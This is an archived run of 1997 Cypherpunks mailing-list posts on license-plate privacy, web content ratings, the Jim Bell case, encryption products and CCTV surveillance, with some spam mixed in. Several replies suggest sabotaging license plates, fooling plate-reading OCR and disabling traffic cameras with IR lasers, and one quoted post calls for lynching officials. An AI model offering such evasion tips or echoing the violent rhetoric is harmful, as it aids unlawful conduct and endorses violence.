Bona Fide News Organizations during the Gulf War gave us the Pentagon 
Nintendo films; almost nobody went out in the battlefield reporting real 
news, but if Iraq had a decent Internet infrastructure we wouldn't have 
had to wait for Ramsey Clark's video.  The live Internet reporting during 
the Russian coup and the Chinese fax barrage during TienanMen Square 
weren't from Isvestia or the Chinese government-recognized press, 
but they were the real news.

*A classic example of news ratings not working are the
Vietnam war pictures of the naked girl running with napalm on her,
and the Vietnamese army officer shooting a prisoner in the head;
a V-Chip would ding them for nudity and violence, but they were
two of the most images of that war.  We were lucky those pictures
came out; any proposal that would deny the similar pictures in the
next war an open rating because it's not from a "bona fide" news org
is censorship of a sort unacceptible in a free society.





#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Thu Jul 24 22:03:28 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 25 Jul 1997 13:03:28 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970724185429.00772da4@popd.ix.netcom.com>



At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

If the government wants to take over all the public commons right-of-way
and pave it for roads, I'm not saying I'm not willing to pay them
for the use of all their nice concrete and asphalt*, though 
government-built roads have led to a whole lot of ecological and social
problems that are far more severe than those a free-market road system
would have given us; free-marketers without eminent domain would have
built fewer roads in generally more efficient places because they'd need 
to make money on each one, though eminent domain may be enough of a 
cost-saver to make up for lower efficiency, and housing and business 
development would have organized more compactly around the roads and
railroads that did get built, allowing less car use.

But the government could have given us all license plates that say 
[StateName][Year] in big letters and the tax receipt in small letters
instead of [CarIdentifier][StateColor] in big and [Year][Receipt#] in small 
like most states do today or [CarIdentifier] in big letters on the back
and [InspectionMonth][YearColor] on the windshield like New Jersey does.
Somehow cops manage to zing people for late car tax payment anyway,
and somehow tax collectors manage to collect taxes on real estate
(which doesn't move, but has owners that do) and wages (paid by often-
mobile businesses to often-mobile workers) and sales well enough without
requiring big taxpayer id# signs on houses, wallets, and merchandise.
And somehow before the automobile we got by without license plates on
horses and buggies and cows, though some people branded their horses or 
cows or painted their names on buggies without the law requiring it
so they could demonstrate ownership if there was a dispute.

The choice to require easy-to-use-rapidly unique identifiers or not 
affects the kinds of transactions that can be done with them.
License plate numbers are primarily useful for social control,
though they're occasionally useful for recovering stolen cars
(if the thieves didn't use fake plates) or following slow white Broncos.
As computers and radio communications increase the speed and 
flexibility of transactions, there are more ways to use them
(cops can look up license plates any time they stop cars, allowing them
to identify dangerous criminals who are too dumb to use fake plates)
mostly for social control, but also to enforce tax collection.

They also make it easier to charge for transactions such as
bridge and freeway use - but they bias the economics towards an
account-based system (since you've got an existing key)
rather than a pay-as-you-go system (like subway tokens or turnpike tolls)
or a pay-by-the-month system (like many transit systems offer,
even for systems like BART and CalTrain that are well equipped for
distance-based billing and some bridge tolls.)  Changing the
transaction costs changes the possible relationships between
supplier and customer, and if the government wants to use them
for social control, some of those relationships make it easier.

[*There are people who refuse to get car license plates and
driver's licenses and marriage licenses and pay taxes on principle, and 
they spend a lot of time arguing common law to judges and cops.
I'm not one of them - as George Gordon says, if you're not having fun
doing this kind of thing, you shouldn't be wasting your time doing it,
and you also risk losing and setting bad precedents.  Our buddy Jim
Bell may or may not agree by this point in time....]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rhayden at orion.means.net  Thu Jul 24 22:15:25 1997
From: rhayden at orion.means.net (Robert Hayden-0797-EMP-HSE)
Date: Fri, 25 Jul 1997 13:15:25 +0800
Subject: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: 
Message-ID: 



On Thu, 24 Jul 1997, snow wrote:

> On Wed, 16 Jul 1997, William H. Geiger III wrote:
> > Any elected official or govenment employee found to have willfuly violated
> > the Constitution of the United States of America should be draged to the
> > capitol steps and promptly lynched.
> 
> 	Then you'd have to lynch those that did the dragging and lynching 
> as each induhvidual has the constitutional right to a trial.

An amendment that allowed lyching-without-trial would make it legal.
 
=-=-=-=-=-=
Robert Hayden					rhayden at means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom






From 68864320 at canma.dyn.ml.org  Fri Jul 25 13:15:31 1997
From: 68864320 at canma.dyn.ml.org (68864320 at canma.dyn.ml.org)
Date: Fri, 25 Jul 1997 13:15:31 -0700 (PDT)
Subject: Important Financial Information...
Message-ID: <>


>>> PAY OFF ALL YOUR BILLS! <<<

Including your mortgage in 3-7 years...
Using your current income!

People have become slaves to their debts.
It's a never ending circle of go to work - pay the
bills - go to work...

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http://www.amv-inc.com

**********************************************************************

If you wish to be removed from this mailing list, please write us at:
remove at alderney.dyn.ml.org
Thank you.

**************************************************************************






From 68864320 at canma.dyn.ml.org  Fri Jul 25 13:15:31 1997
From: 68864320 at canma.dyn.ml.org (68864320 at canma.dyn.ml.org)
Date: Fri, 25 Jul 1997 13:15:31 -0700 (PDT)
Subject: Important Financial Information...
Message-ID: <>


>>> PAY OFF ALL YOUR BILLS! <<<

Including your mortgage in 3-7 years...
Using your current income!

People have become slaves to their debts.
It's a never ending circle of go to work - pay the
bills - go to work...

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**********************************************************************

If you wish to be removed from this mailing list, please write us at:
remove at alderney.dyn.ml.org
Thank you.

**************************************************************************






From lharrison at mhv.net  Thu Jul 24 22:25:26 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Fri, 25 Jul 1997 13:25:26 +0800
Subject: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: <3.0.2.32.19970725003339.006b708c@pop.mhv.net>



>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>> With certain exceptions, court proceedings are open to the public which is
>> why one is able to read articles in newspapers about certain cases.
>> 
>> The only way that the IRS' leaking the Plea Agreement by sending email to
>> individuals would constitute contempt of court is if there was a gag order.


At 02:06 PM 7/24/97 -0400, Ray Arachelian wrote:
>
>A. It's unsolicited spam.
>B. The way they gathered the list of addresses is questionable, and likely
>off Jim's HD.  If this is the case, can it be used to send the warning
>message?


In my personal opinion (IMPO - see Disclaimer below), 47 USC 227 is the
closest statute that pertains to Question #1.  The problem is that
unsolicited email, per the statute's definition, refers to unsolicited
commercial email.  OTOH, if I were to email you privately, it would
technically be unsolicited.  If you replied and requested that I
discontinue, and I persisted, then most states have laws
governing/precluding my behavior.

Question #2 is a thornier issue.  As we know, we can get lists of email
addresses from a variety of sources.  The "missive" was neither slanderous
nor untrue.  Additionally, the beginning of the message described it as a
press release.  To allege that it was a "warning message", one would have
to prove that, in fact, it was not a press release but, rather, it was
meant to be a warning to the recipients.

I question, however, if is proper/appropriate for a governmental entity to
retrieve email addresses off of a computer involved in a criminal matter
and use those addresses to send the type of message that was sent to a
selected few?  Unfortunately, I have no answer to this query.

Do any other individuals have any thoughts concerning this issue?




***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From declan at pathfinder.com  Thu Jul 24 23:33:49 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 25 Jul 1997 14:33:49 +0800
Subject: Something of Interest (fwd)
In-Reply-To: 
Message-ID: 





On Thu, 24 Jul 1997, snow wrote:
> > Where is Declan when you need him. ]:>
> 
> 	I wonder if he got it. 

Nope.

-Declan







From E.C.C.Sheedy at research.kpn.com  Fri Jul 25 00:24:34 1997
From: E.C.C.Sheedy at research.kpn.com (Sheedy, E.C.C.)
Date: Fri, 25 Jul 1997 15:24:34 +0800
Subject: encryption evaluater software
Message-ID: 



>July 10, 1997
>
>----------
>
>
>Nikkei English News via Individual Inc. : (Nikkei Industrial Daily, July 8,
>1997) 
>
>Mitsubishi Electric Corp. said it has developed a software program which
>can be used to evaluate the security of various symmetric-key encryption
>algorithms, where the sender and recipient share the same key. 
>
>The program analyzes a given encryption technology and displays the amount
>of computing power required to deduce the key and decrypt the message. 
>
>Secure and practical data encryption is a necessary technology for the
>popularization of electronic money and electronic commerce. Mitsubishi's
>program could end up becoming an index by which to objectively evaluate the
>many new symmetric-key encryption methods being developed. 
>
>The software combines the differential decryption method developed by
>Israeli encryption expert Adi Shamir with Mitsubishi's proprietary linear
>decryption method. By attempting to deduce the key with simple
>approximations of the encryption algorithm, the program determines the
>minimal volume of computations needed to crack the code, and also shows how
>long the key should be in order to make decryption nearly impossible. 

>Mitsubishi said it has also finished development of a software program
>which uncovers the key based on the pattern of random numbers generated in
>the course of encrypting a message. 

>The next step for the company is to combine all three decryption methods
>into a comprehensive program for evaluation. Working with support from the
>Ministry of International Trade and Industry, the company hopes to finish
>and publicize its program by next spring, providing it free of charge to
>users. (More) 

________________________________                          
kpn   research                      E.C.C. Sheedy
  n m  m  m  m  m     
 n________________________           Security & Card systems
                                                                        
                                                          
  
                       
P.O. Box 15000	                                   Telephone        +31
50 582 17 92	
9700 CD Groningen	                   Telefax              +31 50 312 24
15	
The Netherlands
	
e-mail	                           e.c.c.sheedy at research.kpn.com
________________________________________________________________







From Michael.Johnson at mejl.com  Fri Jul 25 04:02:54 1997
From: Michael.Johnson at mejl.com (Mike)
Date: Fri, 25 Jul 1997 19:02:54 +0800
Subject: Data Fellows announces F-Secure SSH Tunnel&Terminal
In-Reply-To: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
Message-ID: <3.0.3.32.19970725125000.00941a80@localhost>



Petri Laakkonen wrote:
>>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>>sets a new standard for secure remote working. Existing solutions like
>>Cisco Systems L2F, IETF L2TP and firewalls don�t provide strong encryption
>>and authentication, which makes these solutions insecure against
>>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>>hosts and secures UNIX X11 applications.

>What would be F-Secure Tunnel's added value over MS pptp ?

For one thing, it is produced and packaged outside of USA, which says
everything about the quality of the crypto. M$ can not legally ship crypto
from Seattle WA to global customers.

It would be neat if SSH Tunnel was compatible with PPTP, but I guess it's
not.

Mike.






From jya at pipeline.com  Fri Jul 25 04:26:16 1997
From: jya at pipeline.com (John Young)
Date: Fri, 25 Jul 1997 19:26:16 +0800
Subject: Reap and Sow
Message-ID: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>



The Congressional Record reprinted July 23 "Anti-Government,
Anti-Social Attitudes," a news column which examines the
increasing discontent caused by governmental programs. It
describes the increasing psychopathology by those who have 
suffered economic harm due to shifts in the nation's and 
international resources and the appeal of anti-government and
anti-social acts in response to failure to meet obligations to the 
citizenry. Not a few think OKC bombing is the the way to fight 
government-sponsored terrorism against civilians.

  http://jya.com/anti-gov.txt

Couple that with reports on DoD's efforts to combat terrorism 
against its troops abroad, more funding of counterterrorism
and more sharing of "dual-use" weaponry with jittery, trigger-
itchy law enforcement and IRS infohighway bandits around 
the globe. Boil the frogs.

Says the snarling marshal (OSFOR trooper), just back from 
stress counseling and a beer, to the neighbor (rapee) kicking and 
screaming: It's dog eat dog, in the battle to keep our family fed, so 
sorry, but we gotta enforce order and the law (our exculpatory Bible), 
burp, tell it to the judge (the President), my therapist (godfather).

Meanwhile have a pleasant remand while the court's on vacation.







From frissell at panix.com  Fri Jul 25 04:42:46 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 25 Jul 1997 19:42:46 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970725072354.03bfa02c@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

Sabotaging your plates so they weren't machine readable or using a car 
registered in Slovenia or Wisconsin (both possible in the UK) would make more 
sense.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9iMyYVO4r4sgSPhAQFGPwP8Dn6f8HkS4YYQcCAdojTsHPtluYun6xKT
4Rg2jVD0AH4wvk+aPLHuMkImdLvIoRUEtethudiRqPyW04ulj3GZFRDdIH8ck8wN
0ULTz128WcePyLKKVAhZnSVqmlF120lltFh2u0URsSoS8s5DMZBpAH6UfBNsBqIb
1XMsLgYCn2s=
=6dIy
-----END PGP SIGNATURE-----






From rah at shipwright.com  Fri Jul 25 06:50:03 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 25 Jul 1997 21:50:03 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: 



At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:


> Sure you want'em?  They're probably as buggy as a swap in july.

No. That's Washington, in general...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From goy at aol.com  Fri Jul 25 22:36:44 1997
From: goy at aol.com (INFOREVOLUTION)
Date: Fri, 25 Jul 1997 22:36:44 -0700 (PDT)
Subject: "Find The Dirt On The Internet!"
Message-ID: <199707263004WAA43361@america.net>


Find The Dirt On The Internet!!

You will not receive any more correspondence from us!!!!!
-----------------------------------------------------------------------------

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From sunder at brainlink.com  Fri Jul 25 07:47:44 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 25 Jul 1997 22:47:44 +0800
Subject: DEATH TO THE TYRANTS
In-Reply-To: 
Message-ID: 



On Fri, 25 Jul 1997, Robert Hettinga wrote:

> At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:
> 
> 
> > Sure you want'em?  They're probably as buggy as a swap in july.
> 
> No. That's Washington, in general...

:) Yeah, but why invite Big Brother to listen to you from your own xmas
tree?  :)  Would be cool to get a list of frequencies their bugs work on
and just sit back and listen too all the various conversations. :)  Even
if they originate from around the ol'e Yule Log. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From sunder at brainlink.com  Fri Jul 25 07:56:32 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 25 Jul 1997 22:56:32 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <3.0.2.32.19970725072354.03bfa02c@panix.com>
Message-ID: 



On Fri, 25 Jul 1997 frissell at panix.com wrote:

> Sabotaging your plates so they weren't machine readable or using a car 
> registered in Slovenia or Wisconsin (both possible in the UK) would make more 
> sense.

Would a spy trying to infiltrate a building wear a dark hat, sunglasses,
a trench coat, and a briefcase handcuffed to her wrist, or would she dress
as the people entering and leaving the building?

Erm, just how many Wisconsin or Slovenian plates are you likely to see in
a given hour passing through a camera's view?  You'd stand out like a
haystack in the middle of NYC.   You want to trick the OCR by using a
plate where the 1's can get confused with the I's, O's with Q's, etc..

Or spraying your plates with mud or dust or something...  You certainly,
don't want to stand out and call attention to your car.

Didn't someone mention using IR lasers to knock out cameras in a similar
topic?  Would perhaps a broadband IR transmission do the same without
harming humans? (So they won't rear end you of course.) :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From amp at pobox.com  Fri Jul 25 08:31:34 1997
From: amp at pobox.com (amp at pobox.com)
Date: Fri, 25 Jul 1997 23:31:34 +0800
Subject: Reap and Sow
In-Reply-To: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>
Message-ID: 



Pure, unadulterated propaganda.

Rat poison is 90% good, tasty stuff, or the rats wouldn't eat it.

------------------------
  From: John Young 
  Subject: Reap and Sow 
  Date: Fri, 25 Jul 1997 07:08:58 -0400 
  To: cypherpunks at toad.com


> The Congressional Record reprinted July 23 "Anti-Government,
> Anti-Social Attitudes," a news column which examines the
> increasing discontent caused by governmental programs. It
> describes the increasing psychopathology by those who have 
> suffered economic harm due to shifts in the nation's and 
> international resources and the appeal of anti-government and
> anti-social acts in response to failure to meet obligations to the 
> citizenry. Not a few think OKC bombing is the the way to fight 
> government-sponsored terrorism against civilians.
> 
>   http://jya.com/anti-gov.txt
> 
> Couple that with reports on DoD's efforts to combat terrorism 
> against its troops abroad, more funding of counterterrorism
> and more sharing of "dual-use" weaponry with jittery, trigger-
> itchy law enforcement and IRS infohighway bandits around 
> the globe. Boil the frogs.
> 
> Says the snarling marshal (OSFOR trooper), just back from 
> stress counseling and a beer, to the neighbor (rapee) kicking and 
> screaming: It's dog eat dog, in the battle to keep our family fed, so 
> sorry, but we gotta enforce order and the law (our exculpatory Bible), 
> burp, tell it to the judge (the President), my therapist (godfather).
> 
> Meanwhile have a pleasant remand while the court's on vacation.
> 
> 

---------------End of Original Message-----------------

------------------------
If your privacy is important, don't give your keys to Freeh!
Name: amp
E-mail: amp at pobox.com
Date: 07/25/97
Time: 10:01:07
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From cabeen at netcom.com  Fri Jul 25 09:21:18 1997
From: cabeen at netcom.com (Ted Cabeen)
Date: Sat, 26 Jul 1997 00:21:18 +0800
Subject: Puzzle Palace 2nd edition?
Message-ID: <3.0.2.32.19970725090522.00a1b220@acs-popmail.uchicago.edu>



-----BEGIN PGP SIGNED MESSAGE-----

I few months ago, around when the second edition of The Codebreakers 
came out, there was mention of a second edition of the Puzzle Palace. 
 Was that just a misguided rumor, or is there a second edition in the 
works?  I was planning on rereading it, but if a second edition is 
soon coming, I'll wait.
Thanks.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM9jOvNBqlyHCkS2NAQEZHgf/Vf3WvnIjzfPCt2wjC7wqwTS6ke26/epr
7J41U+aCrk/fVTtBrTPSmjOTTgfKatRfI407Iq7h2YDHP7FVAKnVzIlXLSddtbr2
1p7A3OU0thZcn9sdq8LfJovqDXgdflSiU+eGC7uhU4MK0Tdx1Xc+/ARO/v6E7zXQ
y7sLudLEXyG7P7oM6aLa1eebpfv2rOdq7l5sgIeNRn56k6QuWpFAx1aALjIaWxJD
ZnEtLfq/kPXQHu0jXy1mKtb7wvr4+iF/VNI+mDlCh2Q9HvNSi6wGq1vREoJNazxq
ReVIeMYwxJt92RLmwDNexFA0qlaB56jNWaH4TER8Qc5JYH+2llNCAQ==
=cQhp
-----END PGP SIGNATURE-----

--
Ted Cabeen         http://shadowland.rh.uchicago.edu         cabeen at netcom.com
Check Website or finger for PGP Public Key        secabeen at midway.uchicago.edu
"I have taken all knowledge to be my province." -F. Bacon   cococabeen at aol.com
"Human kind cannot bear very much reality."-T.S.Eliot 73126.626 at compuserve.com






From declan at well.com  Fri Jul 25 09:30:42 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 00:30:42 +0800
Subject: CDT, RSACi, and "public service" groups (3/3)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 16:53:52 -0700 (PDT)
From: Declan McCullagh 
To: Jonah Seiger 
Cc: fight-censorship at vorlon.mit.edu, chris_barr at cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

Jonah,

Thanks for responding. The "yet to be determined category" CDT suggested
during that conversation with RSAC is of course the same "public service
site" category I mentioned in my previous post. 

I'm still curious to know what exactly was discussed and what was proposed
during that July 10 conference call, which happened a few minutes after I
had lunch with RSAC's Stephen Balkam. Can you fill us in? Though to be
fair, I should say Balkam told me the following week that the "public
service site" discussions were on hold. (I'd have to look at my notes for
his exact wording.)

So would you rate your site with RSAC-PS? 

-Declan


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
> >On Thu, 24 Jul 1997, Jonah Seiger wrote:
> >
> >> We do not believe ratings are appropriate for news sites or sites that are
> >> geared toward public discussion of political/social issues (CDT has refused
> >> to rate our sites with RSAC).
> >
> >Of course that hasn't stopped CDT from, as I understand it, proposing
> >a "public service site" exemption to RSAC, similar to the "news site"
> >exemption.
> 
> This is not even close to accurate.  We have not proposed anything.
> 
> We have told RSAC that we will not rate our sites with their system because
> we do not believe that ratings are appropriate for politically
> oriented/social issues sites or news sites.
> 
> When we discovered that RSAC was considering a news rating, we were
> concerned and asked them to tell us what they had in mind.  As part of that
> conversation, we asked whether CDT and the other sites we produce (which
> are not 'news' sites in the same way the New York Times) would also fall
> under that classification, or some other yet to be determined category.
> 
> My guess is that this fact got garbled in the translation to you from
> someone at RSAC (or perhaps you were just too eager find what you were
> looking for).
> 
> >RSAC-PS raises the same troubling questions as RSACnews: what is a "public
> >service" group? Who decides? Is CDT? Focus on the Family? The
> >fight-censorship archives? The Cato Institute? The Washington Post? The
> >U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
> >Common Law Court?
> 
> These are exactly the same questions we asked RSAC.  Ask them, not us --
> this is their idea.
> 
> >The above is what I understand to be the case. I emailed CDT a week ago
> >about this but haven't heard back. I'd appreciate clarification.
> 
> Hope that helps.
> 
> Jonah
> 









From declan at well.com  Fri Jul 25 09:31:24 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 00:31:24 +0800
Subject: CDT, RSACi, and "public service" groups (1/3)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 15:12:36 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Cc: chris_barr at cnet.com
Subject: CDT, RSACi, and "public service" groups


On Thu, 24 Jul 1997, Jonah Seiger wrote:

> We do not believe ratings are appropriate for news sites or sites that are
> geared toward public discussion of political/social issues (CDT has refused
> to rate our sites with RSAC).

Of course that hasn't stopped CDT from, as I understand it, proposing
a "public service site" exemption to RSAC, similar to the "news site"
exemption.

Under such an RSAC-PS scheme, organizations defined as legitimate "public
service" groups -- and only those groups! -- would be exempt from labeling
each of their pages for violence, nudity, and so on. After all, if CDT
wanted to label and the RSAC-PS scheme didn't exist, they'd have to cordon
off the portion of their site with the Pacifica decision as inappropriate
for children. The RSAC working group discussed "public service sites,"
according to RSAC head Stephen Balkam, during a conference call on
July 10.

RSAC-PS raises the same troubling questions as RSACnews: what is a "public
service" group? Who decides? Is CDT? Focus on the Family? The
fight-censorship archives? The Cato Institute? The Washington Post? The
U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
Common Law Court?

The above is what I understand to be the case. I emailed CDT a week ago
about this but haven't heard back. I'd appreciate clarification.

-Declan








From declan at well.com  Fri Jul 25 09:31:59 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 00:31:59 +0800
Subject: CDT, RSACi, and "public service" groups (2/3)
Message-ID: 





---------- Forwarded message ----------
Date: Thu, 24 Jul 1997 19:27:07 -0400
From: Jonah Seiger 
To: Declan McCullagh , fight-censorship at vorlon.mit.edu
Cc: chris_barr at cnet.com
Subject: Re: CDT, RSACi, and "public service" groups

At 3:12 PM -0700 7/24/97, Declan McCullagh wrote:
>On Thu, 24 Jul 1997, Jonah Seiger wrote:
>
>> We do not believe ratings are appropriate for news sites or sites that are
>> geared toward public discussion of political/social issues (CDT has refused
>> to rate our sites with RSAC).
>
>Of course that hasn't stopped CDT from, as I understand it, proposing
>a "public service site" exemption to RSAC, similar to the "news site"
>exemption.

This is not even close to accurate.  We have not proposed anything.

We have told RSAC that we will not rate our sites with their system because
we do not believe that ratings are appropriate for politically
oriented/social issues sites or news sites.

When we discovered that RSAC was considering a news rating, we were
concerned and asked them to tell us what they had in mind.  As part of that
conversation, we asked whether CDT and the other sites we produce (which
are not 'news' sites in the same way the New York Times) would also fall
under that classification, or some other yet to be determined category.

My guess is that this fact got garbled in the translation to you from
someone at RSAC (or perhaps you were just too eager find what you were
looking for).

>RSAC-PS raises the same troubling questions as RSACnews: what is a "public
>service" group? Who decides? Is CDT? Focus on the Family? The
>fight-censorship archives? The Cato Institute? The Washington Post? The
>U.S. Congress? The Democratic Party? NAMBLA? Jim Bell's Multnomah County
>Common Law Court?

These are exactly the same questions we asked RSAC.  Ask them, not us --
this is their idea.

>The above is what I understand to be the case. I emailed CDT a week ago
>about this but haven't heard back. I'd appreciate clarification.

Hope that helps.

Jonah





* Value Your Privacy? The Government Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crypto.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151

                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger













From declan at well.com  Fri Jul 25 09:34:56 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 26 Jul 1997 00:34:56 +0800
Subject: Yet another self-labeling system (do you remember -L18?)
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
From: James Love 
To: Jonah Seiger 
Cc: Declan McCullagh , fight-censorship at vorlon.mit.edu,
    chris_barr at cnet.com
Subject: Re: CDT, RSACi, and "public service" groups


Jonah, I think the problems with the RSACi rating system are pretty
obvious, and I also think it should be obvious that *any* rating system
that would aspire to rate all or even a significant number of web pages
would be a bad thing.  That said, it seems to me that there exist web
pages that are unambiguously inappropriate for children.  Has CDT rejected
the idea of a very narrowly focused voluntary rating system that would
apply to those sites only?  I have in mind a simple voluntary tag of the
nature:  
that would only be used when the web site wanted to signal that it did not
want children to have access to the site?

It seems to me that a consensus to use this simple system would take the
steam out of the more ambitious (and troubling) PICs type systems, and
also do much to eliminate the market for filtering software.  I also think
it would make it easier for many libraries and schools to permit students
to have unrestricted access to the Internet. 

I know that some people think this simple tagging system is not among the
proposals seriously under consideration.  But why should we let RSAC or
large commerical entities like AOL or Microsoft control this debate?  In
any event, I was wondering what CDT's thoughts are on this. 

   James Love 


-------------------------------
James Love 
Center for Study of Responsive Law | Consumer Project on Technology 
P.O. Box 19367, Washington, DC 20036 | http://www.cptech.org
Voice 202/387-8030 | Fax 202/234-5176 | love at cptech.org








From azur at netcom.com  Fri Jul 25 10:34:21 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 26 Jul 1997 01:34:21 +0800
Subject: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: 



>>>Rick Morbey , wrote:
>>Steve Schear , wrote:
>David.K.Leucht.1 at gsfc.nasa.gov, wrote:
>>>Privacy International says that in Britain, there are an estimated
300,000 CCTV surveillance cameras in public areas, housing estates, car
parks, public facilities, phone booths, vending machines, buses,
trains, taxis, alongside motorways and inside Automatic Teller (ATM)
Machines. Originally installed to deter burglary, assault and car
theft, in practice most camera systems have been used to combat
'anti-social behavior'. including many such minor offenses as
littering, urinating in public, traffic violations, obstruction,
drunkenness, and evading meters in town parking lots. They have also
been widely used to intervene in other 'undesirable' behavior such as
underage smoking and a variety of public order transgressions. Other
innovative uses are constantly being discovered.

>>>These 'military-style' cameras are often installed in high-rent
commercial areas. Crime statistics rarely reflect that crime may merely
be pushed from these high value commercial areas into low rent
residential areas. Richard Thomas, Acting Deputy Chief Constable for
Gwent, in his interview with 20/20, said "Certainly the crime goes
somewhere. I don't believe that just because you've got cameras in a
city center that everyone says 'Oh well, we're going to give up crime
and get a job".

>>>In one survey commissioned by the UK Home Office a large proportion of
respondents expressed concern about several key aspects of visual
surveillance, says Privacy International. More than fifty per cent of
people felt neither government nor private security firms should be
allowed to make decisions to allow the installation of CCTV in public
places. Seventy-two per cent agreed "these cameras could easily be
abused and used by the wrong people". Thirty-nine per cent felt that>people
who are in control of these systems could not be "completely
trusted to use them only for the public good". Thirty-seven per cent
felt that "in the future, cameras will be used by the government to
control people". They already have. British CCTV surveillance systems
were used by the Chinese government at Tienamen Square to suppress the
student Democracy movement.

>>>The fact is that FastGate and CCTV surveillance systems represent the
tip of the technological iceberg. It is already far too late to prevent
the invasion of surveillance and database systems which are getting
